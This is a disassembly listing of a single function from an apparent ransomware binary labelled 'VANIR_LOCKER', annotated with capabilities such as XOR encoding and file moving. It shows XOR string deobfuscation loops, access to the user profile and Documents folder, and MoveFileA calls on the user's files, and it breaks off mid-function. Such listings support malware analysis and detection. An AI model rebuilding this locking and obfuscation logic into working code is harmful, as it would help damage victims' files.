Function at 0x140049fe0
Capabilities:
Create process on windows
Encode data using xor
Move file

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x538]
sub rsp, 0x638
mov rax, qword [0x1401508e0]
xor rax, rsp
mov qword [rbp + 0x4f0], rax
lea rax, [0x14004c050]
mov dword [rbp + 0x220], 0x50
xor r15d, r15d
mov qword [rbp + 0x228], rax
xor ecx, ecx
mov qword [rbp + 0x230], r15
mov dword [rbp + 0x224], 0x40
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x268], r15
mov qword [rbp + 0x238], rax
lea rcx, [rbp + 0x220]
lea rax, str.VANIR
movdqu xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
mov qword [rbp + 0x260], rax
movdqu xmmword [rbp + 0x250], xmm1
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rax, qword [rbp + 0x238]
lea r8, str.VANIR_LOCKER
mov rdx, qword [rbp + 0x260]
mov r9d, 0xcf0000
mov qword [rsp + 0x58], r15
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 0x320
mov dword [rsp + 0x30], 0x500
mov dword [rsp + 0x28], 0x64
mov dword [rsp + 0x20], 0x64
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [r15 + 0x20]
mov qword [rsp + 0x78], rax
mov rdi, rax
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140156168], rax
mov rcx, rax
lea ebx, [r15 + 1]
test rax, rax
je 0x14004bfb2
lea rdx, [0x140156170]
mov qword [0x140156180], r15
mov qword [rsp + 0x30], rdx
mov r9, rdi
lea rdx, [0x140156180]
mov qword [0x14015618c], r15
mov qword [rsp + 0x28], rdx
mov r8d, ebx
mov dword [0x140156194], r15d
xor edx, edx
mov qword [0x14015619c], r15
mov dword [0x1401561a4], r15d
mov qword [0x1401561b4], r15
mov dword [0x1401561a8], ebx
mov dword [0x140156198], ebx
mov dword [0x140156188], r15d
mov dword [0x1401561ac], ebx
mov dword [0x1401561b0], 0x50
mov dword [0x1401561bc], ebx
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14004bfab
lea edx, [rbx + 9]
mov qword [rsp + 0x660], rsi
mov rcx, rdi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rdi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rbx, qword [0x1401560b0]
mov ecx, 0x61c8
call fcn.1400e4c50
mov r8, qword [0x1401560b0]
mov r9, rax
test r8, r8
je 0x14004a222
movsx rax, word [r8 + 0x6078]
lea rdx, [r8 + 0x607c]
mov r10d, dword [r8 + 0x3f60]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14004a217
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x607c]
sub ecx, eax
mov word [r8 + 0x6078], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], r15d
inc word [rdx + 4]
inc dword [r8 + 0x6070]
test r9, r9
je 0x14004a233
xor edx, edx
mov rcx, r9
call fcn.140003ee0
jmp 0x14004a236
mov rax, r15
mov qword [0x1401560b0], rax
call fcn.140008860
mov rax, qword [0x1401560b0]
test rbx, rbx
cmovne rax, rbx
mov qword [0x1401560b0], rax
test rax, rax
jne 0x14004a27c
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400e4b44
mov rax, qword [0x1401560b0]
or dword [rax + 8], 3
xor ecx, ecx
call fcn.14002a540
mov rcx, rdi
call fcn.140035740
mov rbx, qword [0x1401560b0]
mov rdi, qword [0x140156170]
test rbx, rbx
jne 0x14004a2c2
mov r8d, 0x10ae
lea rdx, str.C:UsersuserDesktopcppproject_yimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call fcn.1400e4b44
mov rbx, qword [0x1401560b0]
cmp qword [rbx + 0x98], r15
je 0x14004a2e4
mov r8d, 0x11f
lea rdx, str.C:UsersuserDesktopcppproject_yimgui_impl_dx9.cpp
lea rcx, str.io.BackendRendererUserData__nullptr___Already_initialized_a_renderer_backend__
call fcn.1400e4b44
mov ecx, Ordinal_41
call fcn.1400e4c50
mov r9, qword [0x1401560b0]
mov r8, rax
test r9, r9
je 0x14004a35d
movsx rdx, word [r9 + 0x6078]
lea rax, [r9 + 0x607c]
mov r10d, dword [r9 + 0x3f60]
lea rax, [rax + rdx*8]
cmp dword [rax], r10d
je 0x14004a352
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r9 + 0x6078], cx
movsx rax, cx
lea rax, [rax*8 + 0x607c]
add rax, r9
mov dword [rax], r10d
mov dword [rax + 4], r15d
inc word [rax + 4]
inc dword [r9 + 0x6070]
test r8, r8
je 0x14004a383
mov qword [r8], r15
mov qword [r8 + 8], r15
mov qword [r8 + 0x10], r15
mov qword [r8 + 0x18], r15
mov dword [r8 + 0x20], 0x1388
mov dword [r8 + 0x24], 0x2710
jmp 0x14004a386
mov r8, r15
or dword [rbx + 0xc], 8
lea rax, str.imgui_impl_dx9
mov qword [rsp + 0x668], r12
mov rcx, rdi
mov qword [rsp + 0x670], r13
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], r8
mov qword [rsp + 0x630], r14
movaps xmmword [rsp + 0x620], xmm6
mov qword [r8], rdi
mov rax, qword [rdi]
movaps xmmword [rsp + 0x610], xmm7
movaps xmmword [rsp + 0x600], xmm8
call qword [rax + reloc.WS2_32.dll_htonl]
xor ecx, ecx
xor sil, sil
call fcn.1400e5aa0
mov rcx, rax
call fcn.1400e4f28
xorps xmm0, xmm0
lea rdx, [0x14012bf72]
xorps xmm1, xmm1
lea rcx, [rbp + 0x3f0]
xor r8d, r8d
movups xmmword [rbp + 0x3f0], xmm0
movdqu xmmword [rbp + 0x400], xmm1
call fcn.140050bf0
call fcn.140043850
test al, al
jne 0x14004bf13
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea rcx, [rbp + 0x300]
call fcn.1400489b0
mov edx, Ordinal_27
lea rcx, [rbp + 0x320]
call fcn.1400489b0
mov eax, dword [str.:Q___f]
mov edi, 5
movups xmm0, xmmword [0x140138250]
mov r13d, dword [reloc.WS2_32.dll_accept]
mov r8d, r15d
mov dword [rbp + 0x368], eax
movzx eax, word [0x14013827c]
mov word [rbp + 0x36c], ax
movzx eax, byte [0x14013827e]
mov byte [rbp + 0x36e], al
lea eax, [rdi + 0x1a]
movups xmm1, xmmword [0x140138260]
movups xmmword [rbp + 0x340], xmm0
movsd xmm0, qword [0x140138270]
movsd qword [rbp + 0x360], xmm0
movups xmmword [rbp + 0x350], xmm1
cmp r13d, 2
jl 0x14004a611
movdqa xmm0, xmmword [0x140138fe0]
lea rcx, [rbp + 0x344]
movdqa xmm5, xmmword [0x140138f40]
movdqa xmm4, xmmword [0x140139270]
movdqa xmm7, xmmword [0x140138f70]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm6, edi
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x28
jl 0x14004a500
cmp r8d, 0x2f
jge 0x14004a654
movsxd rax, r8d
lea r9, [rbp + 0x340]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x2f
jl 0x14004a620
xorps xmm0, xmm0
lea rax, [rbp + 0x340]
xorps xmm1, xmm1
mov r14, 0xffffffffffffffff
movups xmmword [rbp + 0x3d0], xmm0
mov r8, r14
movdqu xmmword [rbp + 0x3e0], xmm1
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x14004a680
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x3d0]
call fcn.140050bf0
movsd xmm0, qword [0x140138af8]
xorps xmm1, xmm1
movzx ecx, word [0x140138b00]
mov r8, r14
movzx eax, byte [0x140138b02]
movsd qword [rsp + 0x60], xmm0
xorps xmm0, xmm0
xor byte [rsp + 0x61], 0x39
xor byte [rsp + 0x62], 0x3a
xor byte [rsp + 0x63], 0x3b
xor byte [rsp + 0x64], 0x3c
xor byte [rsp + 0x65], 0x3d
xor byte [rsp + 0x66], 0x3e
xor byte [rsp + 0x67], 0x3f
mov word [rsp + 0x68], cx
xor cl, 0x40
xor byte [rsp + 0x69], 0x41
xor al, 0x42
mov byte [rsp + 0x60], gethostname
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov byte [rsp + 0x68], cl
movups xmmword [rbp + 0x390], xmm0
movdqu xmmword [rbp + 0x3a0], xmm1
inc r8
cmp byte [rax + r8], sil
jne 0x14004a714
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x390]
call fcn.140050bf0
mov rcx, qword [rbp + 0x310]
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, rcx
cmp rax, 1
jb 0x14004c005
cmp qword [rbp + 0x318], 0x10
lea rax, [0x140138094]
movzx edx, byte [rsp + 0x70]
lea r9, [rbp + 0x300]
cmovae r9, qword [rbp + 0x300]
lea r8, [rbp + 0x300]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2b0]
call fcn.140051d20
cmp qword [rbp + 0x338], 0x10
lea rdx, [rbp + 0x320]
mov r8, qword [rbp + 0x330]
lea rcx, [rbp + 0x2b0]
cmovae rdx, qword [rbp + 0x320]
call fcn.14004e010
xorps xmm0, xmm0
lea r8, [rbp + 0x270]
movups xmmword [rbp + 0x270], xmm0
lea rdx, [rbp + 0x390]
xorps xmm1, xmm1
lea rcx, [rbp + 0x3d0]
movdqu xmmword [rbp + 0x280], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x270], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x280], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], sil
call fcn.140048df0
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x14004a856
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a851
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c00b
call fcn.1400c80fc
mov rdx, qword [rbp + 0x2c8]
movdqa xmm0, xmmword [0x140138ef0]
mov byte [rbp + 0x270], sil
movdqu xmmword [rbp + 0x280], xmm0
cmp rdx, 0x10
jb 0x14004a8ae
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a8a9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c00b
call fcn.1400c80fc
xorps xmm0, xmm0
lea rdx, str.c:_users_user_documents_
xorps xmm1, xmm1
lea rcx, [rbp + 0x3b0]
mov r8d, Ordinal_27
movups xmmword [rbp + 0x3b0], xmm0
movdqu xmmword [rbp + 0x3c0], xmm1
call fcn.140050bf0
cmp byte [0x1401381d1], sil
movsd xmm0, qword [0x1401381c8]
movzx eax, word [0x1401381d0]
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x68], ax
je 0x14004a931
xor byte [rsp + 0x61], 0x39
xor byte [rsp + 0x62], 0x3a
xor byte [rsp + 0x63], 0x3b
xor byte [rsp + 0x64], 0x3c
xor byte [rsp + 0x65], 0x3d
xor byte [rsp + 0x66], 0x3e
xor byte [rsp + 0x67], 0x3f
xor byte [rsp + 0x68], 0x40
xor byte [rsp + 0x69], 0x41
mov byte [rsp + 0x60], 0x76
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x270], xmm0
movdqu xmmword [rbp + 0x280], xmm1
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14004a950
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.140050bf0
lea r8, [rbp + 0x270]
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x340]
call fcn.14004f960
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x14004a9c5
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a9c0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c011
call fcn.1400c80fc
call fcn.1400c5a4c
xor edx, edx
mov ebx, eax
mov r8d, 0xa0
lea rcx, [rbp + 0x450]
call fcn.1400cab30
xorps xmm0, xmm0
mov qword [rbp + 0x420], r15
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x410], xmm0
mov ecx, reloc.WS2_32.dll_recv
movdqu xmmword [rbp + 0x430], xmm1
movdqu xmmword [rbp + 0x440], xmm0
call fcn.1400c85ec
lea rcx, [rbp + 0x428]
mov edx, 2
mov qword [rax + 8], r15
mov qword [rbp + 0x428], rax
mov qword [rax], rcx
lea rcx, [rbp + 0x450]
call fcn.1400c7194
lea rcx, [rbp + 0x4a0]
call fcn.1400c59c8
mov byte [rbp + 0x4e8], sil
test rbx, rbx
je 0x14004aaab
lea rax, [rbp + 0x410]
mov qword [rsp + 0x60], rax
mov rax, qword [rbp + 0x418]
cmp rax, qword [rbp + 0x420]
je 0x14004aa8a
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.1400538b0
mov rax, qword [rbp + 0x418]
add rax, 0x10
mov qword [rbp + 0x418], rax
jmp 0x14004aaa5
lea r8, [rsp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.140052890
mov rax, qword [rbp + 0x418]
sub rbx, 1
jne 0x14004aa60
lea rcx, [rbp - 0x80]
mov rax, rdi
lea rdx, str.pvws
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x14004aac0
mov eax, dword [rdx + 0x10]
mov r8d, r15d
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rdx + 0x14]
mov word [rcx + 0x14], ax
cmp r13d, 2
jl 0x14004ac97
movdqa xmm0, xmmword [0x140138fe0]
lea rcx, [rbp - 0x7c]
movdqa xmm5, xmmword [0x140138f40]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x140139270]
movdqa xmm7, xmmword [0x140138f70]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm8, eax
movd xmm6, edi
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x290
jl 0x14004ab80
cmp r8d, 0x296
jge 0x14004acd8
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x38
xor byte [r9 - 1], al
cmp r8d, 0x296
jl 0x14004aca1
xorps xmm0, xmm0
lea rax, [rbp - 0x80]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x370], xmm0
movdqu xmmword [rbp + 0x380], xmm1
inc r8
cmp byte [rax + r8], sil
jne 0x14004acf4
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x370]
call fcn.140050bf0
lea rcx, [rbp + 0x370]
call fcn.140049910
cmp byte [0x140138d51], sil
movsd xmm0, qword [0x140138d48]
movzx eax, word [0x140138d50]
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x68], ax
je 0x14004ad6e
xor byte [rsp + 0x61], 0x39
xor byte [rsp + 0x62], 0x3a
xor byte [rsp + 0x63], 0x3b
xor byte [rsp + 0x64], 0x3c
xor byte [rsp + 0x65], 0x3d
xor byte [rsp + 0x66], 0x3e
xor byte [rsp + 0x67], 0x3f
xor byte [rsp + 0x68], 0x40
xor byte [rsp + 0x69], 0x41
mov byte [rsp + 0x60], 0x63
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x270], xmm0
movdqu xmmword [rbp + 0x280], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x14004ad90
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.140050bf0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140048090
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140047a90
mov rcx, qword [rbp + 0x2b0]
test rcx, rcx
je 0x14004ae23
mov rdx, qword [rbp + 0x2b8]
call fcn.140050db0
mov rcx, qword [rbp + 0x2b0]
mov rdx, qword [rbp + 0x2c0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14004ae1e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c017
call fcn.1400c80fc
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rbp + 0x290]
cmp rbx, rdi
je 0x14004ae6a
lea r9, [rbp + 0x320]
mov rdx, rbx
lea r8, [rbp + 0x300]
lea rcx, [rbp + 0x410]
call fcn.140049510
add rbx, 0x20
cmp rbx, rdi
jne 0x14004ae36
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rbp + 0x290]
test rbx, rbx
je 0x14004aeb9
mov rdx, rdi
mov rcx, rbx
call fcn.140050db0
mov rcx, qword [rbp + 0x290]
mov rdx, qword [rbp + 0x2a0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14004aeb4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c01d
call fcn.1400c80fc
cmp byte [0x140138d51], sil
movsd xmm0, qword [0x140138d48]
movzx eax, word [0x140138d50]
movsd qword [rsp + 0x60], xmm0
mov word [rsp + 0x68], ax
je 0x14004af0e
xor byte [rsp + 0x61], 0x39
xor byte [rsp + 0x62], 0x3a
xor byte [rsp + 0x63], 0x3b
xor byte [rsp + 0x64], 0x3c
xor byte [rsp + 0x65], 0x3d
xor byte [rsp + 0x66], 0x3e
xor byte [rsp + 0x67], 0x3f
xor byte [rsp + 0x68], 0x40
xor byte [rsp + 0x69], 0x41
mov byte [rsp + 0x60], 0x63
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, r14
movups xmmword [rbp + 0x270], xmm0
movdqu xmmword [rbp + 0x280], xmm1
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x14004af30
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.140050bf0
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x2b0]
call fcn.140048090
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.140047a90
mov rcx, qword [rbp + 0x2b0]
test rcx, rcx
je 0x14004afc3
mov rdx, qword [rbp + 0x2b8]
call fcn.140050db0
mov rcx, qword [rbp + 0x2b0]
mov rdx, qword [rbp + 0x2c0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14004afbe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c023
call fcn.1400c80fc
mov rdi, qword [rbp + 0x290]
mov r15, qword [rbp + 0x298]
cmp rdi, r15
je 0x14004b18f
movzx ebx, byte [rsp + 0x70]
nop
mov eax, dword [0x140138684]
xorps xmm0, xmm0
movzx ecx, word [0x140138688]
mov r8, r14
mov dword [rsp + 0x60], eax
movzx eax, byte [0x14013868a]
xor byte [rsp + 0x61], 0x39
xor al, 0x3e
xor byte [rsp + 0x62], 0x3a
xor byte [rsp + 0x63], 0x3b
mov word [rsp + 0x64], cx
xor cl, 0x3c
xor byte [rsp + 0x65], 0x3d
mov byte [rsp + 0x66], al
xor eax, eax
mov qword [rbp + 0x280], rax
mov qword [rbp + 0x288], rax
lea rax, [rsp + 0x60]
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_46
mov byte [rsp + 0x64], cl
movups xmmword [rbp + 0x270], xmm0
inc r8
cmp byte [rax + r8], sil
jne 0x14004b045
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x270]
call fcn.140050bf0
mov rcx, qword [rdi + 0x10]
mov rax, r12
mov rdx, qword [rbp + 0x280]
sub rax, rcx
cmp rax, rdx
jb 0x14004c035
cmp qword [rdi + 0x18], 0x10
mov r9, rdi
jb 0x14004b086
mov r9, qword [rdi]
cmp qword [rbp + 0x288], 0x10
lea rax, [rbp + 0x270]
mov qword [rsp + 0x30], rdx
mov r8, rdi
cmovae rax, qword [rbp + 0x270]
movzx edx, bl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2b0]
call fcn.140051d20
cmp qword [rbp + 0x2c8], 0x10
lea rdx, [rbp + 0x2b0]
mov rcx, rdi
cmovae rdx, qword [rbp + 0x2b0]
cmp qword [rdi + 0x18], 0x10
jb 0x14004b0e2
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x14004b0f2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0x10
jb 0x14004b133
mov rcx, qword [rbp + 0x2b0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b12e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c02f
call fcn.1400c80fc
mov rdx, qword [rbp + 0x288]
cmp rdx, 0x10
jb 0x14004b174
mov rcx, qword [rbp + 0x270]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004b16f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c029
call fcn.1400c80fc
add rdi, 0x20
cmp rdi, r15
jne 0x14004afe0
mov r15, qword [rbp + 0x298]
mov rdi, qword [rbp + 0x290]
test rdi, rdi
je 0x14004b1de
mov rdx, r15
mov rcx, rdi
call fcn.140050db0
mov rcx, qword [rbp + 0x290]
mov rdx, qword [rbp + 0x2a0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14004b1d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004c029
call fcn.1400c80fc
lea rcx, str.USERPROFILE
call fcn.1400e5f44
movups xmm0, xmmword [0x1401384e8]
movzx ecx, word [0x140138500]
xor r15d, r15d
mov word [rbp + 0x2c8], cx
mov rbx, rax
movzx ecx, byte [0x140138502]
mov r8d, r15d
mov byte [rbp + 0x2ca], cl
lea edi, [r15 + 5]
movups xmmword [rbp + 0x2b0], xmm0
movsd xmm0, qword [0x1401384f8]
movsd qword [rbp + 0x2c0], xmm0
cmp r13d, 2
jl 0x14004b391
movdqa xmm0, xmmword [0x140138fe0]
lea rcx, [rbp + 0x2b4]
movdqa xmm5, xmmword [0x140138f40]
mov eax, Ordinal_33
movdqa xmm4, xmmword [0x140139270]
movdqa xmm7, xmmword [0x140138f70]
movdqa xmmword [rbp + 0x290], xmm0
mov edx, dword [rbp + 0x290]
movd xmm8, eax
movd xmm6, edi
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140138fb0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
